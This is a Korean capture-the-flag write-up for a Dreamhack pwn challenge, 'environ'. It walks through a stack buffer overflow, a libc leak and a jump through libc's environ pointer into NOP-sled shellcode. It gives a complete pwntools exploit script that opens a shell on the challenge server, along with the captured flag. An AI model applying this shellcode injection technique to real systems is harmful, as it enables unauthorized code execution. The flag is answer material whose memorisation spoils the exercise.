Description
이 문제는 작동하고 있는 서비스(environ)의 바이너리와 소스코드가 주어집니다.
Environ ptr 기법을 통해 스택 주소를 유출하고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
checksec
seo@seo:~/Desktop/environ$ checksec ./environ [*] '/home/seo/Desktop/environ/environ' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments
스택에 실행 권한이 있다.
Decompiled-src
main
int __cdecl main(int argc, const char **argv, const char **envp) { size_t nbytes; // [rsp+8h] [rbp-38h] BYREF void (**v5)(void); // [rsp+10h] [rbp-30h] BYREF char buf[24]; // [rsp+20h] [rbp-20h] BYREF unsigned __int64 v7; // [rsp+38h] [rbp-8h] v7 = __readfsqword(0x28u); initialize(argc, argv, envp); printf("stdout: %p\n", stdout); printf("Size: "); __isoc99_scanf("%ld", &nbytes); printf("Data: "); read(0, buf, nbytes); printf("*jmp="); __isoc99_scanf("%ld", &v5); (*v5)(); return 0; }
stdout 주소값을 출력하고,
Size를 입력받아 buf에 Size 크기만큼 입력받는다.
여기서 buf 크기는 24바이트만큼 할당되어있고,
원하는 크기만큼 buf를 채울 수 있으므로 버퍼 오버플로우를 발생시킬 수 있다.
그리고 “*jmp=”를 출력하고, 주소를 10진수로 입력받는데,
입력받은 주소에서 한번 참조한 주소를 호출하게 된다.
Solution
buf를 libc’s environ에 적혀있는 주소까지 더미로 채운뒤, 그 뒤에 쉘코드를 삽입한다.
로컬 환경에서 봤을때 buf는 0x0007FFE7DEF16B0,
libc’s environ에 적혀있는 주소가 0x00007FFE7DEF17F8이므로,
>>> hex(0x00007FFE7DEF17F8 – 0x0007FFE7DEF16B0)
‘0x148’
0x148만큼 더미로 채우면 될 것이다.
그 다음에 “*jmp=”를 출력하고, 주소를 10진수로 입력받는데,
libc’s environ 주소를 입력하여
입력받은 주소에서 한번 참조한 주소를 호출하게 되는데, 이때 쉘코드가 실행된다.
처음에 stdout 주소값을 출력해주기 때문에 libc base 주소 또한 쉽게 구할 수 있다.
solve.py
buf를 libc’s environ에 적혀있는 주소까지 더미로 채워야되는데,
서버 환경에서는 어디까지인지 모르므로 대충 0x200만큼 nop sled로 채우고 쉘코드를 삽입하면 된다.
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') #local # p = process("./environ") # e = ELF("./environ", checksec=False) # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False) #server p = remote("host3.dreamhack.games", "17929") e = ELF("./environ", checksec=False) libc = ELF("./libc.so.6", checksec=False) stdout = p.recvline() stdout = stdout.split(b"stdout: ")[1] stdout = stdout.split(b"\n")[0] stdout = int(stdout, 16) print(f"stdout: {hex(stdout)}") libc_base = stdout - libc.symbols["_IO_2_1_stdout_"] print(f"libc_base: {hex(libc_base)}") #payload = b"\x41"*0x148 #local payload = b"\x90"*0x200 #nop sled, server payload += asm(shellcraft.execve("/bin/sh", 0, 0)) p.sendlineafter ("Size: ", str(len(payload))) p.sendlineafter("Data: ", payload) p.sendlineafter("*jmp=", str(libc_base + libc.symbols["environ"])) p.interactive()
Result
seo@seo:~/Desktop/environ$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 17929: Done stdout: 0x7fe2089ee620 libc_base: 0x7fe208629000 [*] Switching to interactive mode $ ls environ flag $ cat flag DH{209478d89c920b8dfe2dee61f9bc1dcc}$ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 17929